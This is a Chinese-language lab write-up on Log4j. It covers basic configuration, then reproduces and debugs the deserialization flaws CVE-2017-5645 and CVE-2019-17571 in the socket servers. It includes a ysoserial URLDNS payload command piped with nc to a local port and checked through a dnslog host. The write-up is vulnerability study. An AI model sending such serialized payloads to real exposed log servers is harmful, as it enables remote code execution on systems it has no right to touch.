1.1. 介绍

https://logging.apache.org/log4j/2.x/

Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

简单来说,Log4j是一种非常流行的日志框架,最新版本是2.x;也是一个组件化设计的日志系统,它的架构大致如下:

log.info("User signed in.");
 │
 │   ┌──────────┐    ┌──────────┐    ┌──────────┐    ┌──────────┐
 ├──>│ Appender │───>│  Filter  │───>│  Layout  │───>│ Console  │
 │   └──────────┘    └──────────┘    └──────────┘    └──────────┘
 │
 │   ┌──────────┐    ┌──────────┐    ┌──────────┐    ┌──────────┐
 ├──>│ Appender │───>│  Filter  │───>│  Layout  │───>│   File   │
 │   └──────────┘    └──────────┘    └──────────┘    └──────────┘
 │
 │   ┌──────────┐    ┌──────────┐    ┌──────────┐    ┌──────────┐
 └──>│ Appender │───>│  Filter  │───>│  Layout  │───>│  Socket  │
     └──────────┘    └──────────┘    └──────────┘    └──────────┘

当我们使用Log4j输出一条日志时,Log4j自动通过不同的Appender把同一条日志输出到不同的目的地。例如:

  • console:输出到屏幕;
  • file:输出到文件;
  • socket:通过网络输出到远程计算机;
  • jdbc:输出到数据库

在输出日志的过程中,通过Filter来过滤哪些log需要被输出,哪些log不需要被输出。例如,仅输出ERROR级别的日志。

最后,通过Layout来格式化日志信息,例如,自动添加日期、时间、方法名称等信息。

1.2. 基础使用

1.2.1. pom.xml

<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.8.1</version>
</dependency>

1.2.2. log4j2.xml

https://blog.csdn.net/pan_junbiao/article/details/104313938

我们把一个log4j2.xml的文件放到classpath下就可以让Log4j读取配置文件并按照我们的配置来输出日志。

<?xml version="1.0" encoding="UTF-8"?>
<!-- log4j2 配置文件 -->
<!-- 日志级别 trace<debug<info<warn<error<fatal -->
<configuration status="info">
    <!-- 自定义属性 -->
    <Properties>
        <!-- 日志格式(控制台) -->
        <Property name="pattern1">[%-5p] %d %c - %m%n</Property>
        <!-- 日志格式(文件) -->
        <Property name="pattern2">
            =========================================%n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n
        </Property>
        <!-- 日志文件路径 -->
        <Property name="filePath">logs/myLog.log</Property>
    </Properties>

    <appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="${pattern1}"/>
        </Console>
        <RollingFile name="RollingFile" fileName="${filePath}"
                     filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
            <PatternLayout pattern="${pattern2}"/>
            <SizeBasedTriggeringPolicy size="5 MB"/>
        </RollingFile>
    </appenders>
    <loggers>
        <root level="info">
            <appender-ref ref="Console"/>
            <appender-ref ref="RollingFile"/>
        </root>
    </loggers>
</configuration>

1.2.3. Test.java

package org.example;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class Test
{
    public static void main( String[] args )
    {
        Logger logger = LogManager.getLogger(LongFunction.class);
        logger.trace("trace level");
        logger.debug("debug level");
        logger.info("info level");
        logger.warn("warn level");
        logger.error("error level");
        logger.fatal("fatal level");
    }
}

image-20210831154312204

1.3. CVE-2017-5645

1.3.1. 简介

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。在使用TCP/UDP 套接字接口监听获取序列化的日志事件时,存在反序列化漏洞。

1.3.2. 环境准备

    <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-core</artifactId>
      <version>2.8.1</version>
    </dependency>

    <!-- https://mvnrepository.com/artifact/com.beust/jcommander -->
    <dependency>
      <groupId>com.beust</groupId>
      <artifactId>jcommander</artifactId>
      <version>1.48</version>
    </dependency>

1.3.3. 直接复现

环境启动

找到刚才下载的jar包,执行如下命令启动监听6666端口

java -cp log4j-core-2.8.1.jar:log4j-api-2.8.1.jar:jcommander-1.48.jar org.apache.logging.log4j.core.net.server.TcpSocketServer -p 6666

image-20210831160457893

漏洞复现

使用ysoserial直接生成恶意的序列化数据,并发送给6666端口

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://jqi53t.dnslog.cn | nc 127.0.0.1 6666

image-20210831160900048

使用URLDNS链,反序列化后查看DNSLOG,已经收到请求

image-20210831161041147

1.3.4. DEBUG分析

编写启动代码,其实主要就是调用了org.apache.logging.log4j.core.net.server.TcpSocketServer.main(),和前面命令行启动一样

package org.example;

import org.apache.logging.log4j.core.net.server.TcpSocketServer;

public class Test {
    public static void main(String[] args) throws Exception {
        String[] arg = {"-p", "6666"};
        TcpSocketServer.main(arg);
    }
}

分析一下整个过程,在main()那下断点,启动

image-20210831165257798

跟进main()

image-20210831174312189

BasicCommandLineArguments.parseCommandLine()不难猜出是解析参数的,跳过

经过一些判断,到了 createSerializedSocketServer()方法,看名字是创建序列化socket服务端,跟进去

image-20210902105240230

发现创建了一个TcpSocketServer,并且调用LOGGER.exit()方法返回,LOGGER.exit的功能就是对日志做些操作,然后仍然返回传进来的对象,所以这里相当于就是返回了TcpSocketServer

返回TcpSocketServer.clssmain()方法,调用了socketServer.startNewThread(),看名字是新建一个线程,跟进去

image-20210902110632159

AbstractSocketServer类实现了Runnable接口,在启动新线程的时候,会自动调用run()方法;(不熟悉可以去看看Java多线程

这里多线程的任务程序是this,而此时的thisTcpSocketServer,所以会调用TcpSocketServer.run()方法,看下对应的run()方法

image-20210902130439195

可见里面调用了serverSocket.accept()方法,返回一个Socket,这个没啥影响,但此时已经开始监听我们设定的端口了


手动向该端口发送数据,触发后续流程

然后用clientSocket实例化SocketHandler

image-20210902132849949

看下SocketHandler的构造函数,给this.inputStream赋值

image-20210902133039970

TcpSocketServer.this.logEventInput的类是ObjectInputStreamLogEventBridge,这里相当于调用了它的wrapStream方法

image-20210902133207613

接收到数据后的整个流程,就是把socket连接传过来的数据流作为包装成ObjectInputStream,现在this.inputStream就是一个来自用户输入的ObjectInputStream流了。

回到TcpSocketServerrun方法

image-20210902133505422

继续往下,执行了handler.start(),而handler是SocketHandler类的实例,这个类继承自Log4jThreadLog4jThread又继承自Thread类,所以他是一个自定义的线程类,自定义的线程类有个特点,那就是必须重写run方法,而且当调用自定义线程类的start()方法时,会自动调用它的run()方法

image-20210902133617866

然后默认会进入到TcpSocketServer.this.logEventInput.logEvents这个方法,跟进

image-20210902133736139

调用了readObject()进行反序列化,然后触发我们的恶意链,到此分析结束

总结:inputStream就是被封装成ObjectInputStream流的、我们通过tcp发送的数据。所以只要log4j的tcpsocketserver端口对外开放,且目标存在可利用的pop链,我们就可以通过tcp直接发送恶意的序列化payload实现RCE。

1.4. CVE-2019-17571

1.4.1. 简介

https://logging.apache.org/log4j/1.2/

和上面的CVE差不多,只是触发点是SocketNoderun()方法,且这个地方需要的log4j的版本是1.2,感觉是为了凑CVE?

image-20210902152129611

1.4.2. 环境准备

<!-- https://mvnrepository.com/artifact/log4j/log4j -->
    <dependency>
      <groupId>log4j</groupId>
      <artifactId>log4j</artifactId>
      <version>1.2.17</version>
    </dependency>

1.4.3. Debug分析

启动函数,有错误啥的可以不用管,不影响复现

package org.example;


import org.apache.log4j.net.SocketServer;

public class Test {
    public static void main(String[] args) {
        String[] arg = {"6666", "./", "./"};
        SocketServer.main(arg);
    }
}

一样的,main下断点

image-20210902153258098

跟进main,先初始化参数

image-20210902153342585

然后一直到serverSocket.accept,开启监听

image-20210902153445751


传入恶意的序列化数据

image-20210902153556215

继续往下,先实例化SocketNode,然后实例化Thread,最后调用start

image-20210902153638777

跟进SocketNode,发现会将我们传入的数据转换成ObjectInputStream类,并赋值给变量ois

image-20210902154123071

然后返回main方法中,发现调用了start()方法,根据多线程,调用start()方法其实就是调用了对应类的run()方法,这里其实就是调用的SocketNode.run()

image-20210902154432697

跟进SocketNode.run(),发现this.ois调用了方法readObject(),至此反序列化完成

image-20210902154717076

查看dnslog日志,成功触发

image-20210902154846008

1.5. 其他

log4j是一个日志组件,在用log4j搭建日志服务器集中管理日志的时候会用到socketserver这种机制,试了一下用nmap识别不出服务,所以还是以审计发现该漏洞为主吧。

Log4j2 TcpSocketServer 日志集中打印

Copyright © d4m1ts 2022 all right reserved,powered by Gitbook该文章修订时间: 2021-12-25 18:52:00

results matching ""

    No results matching ""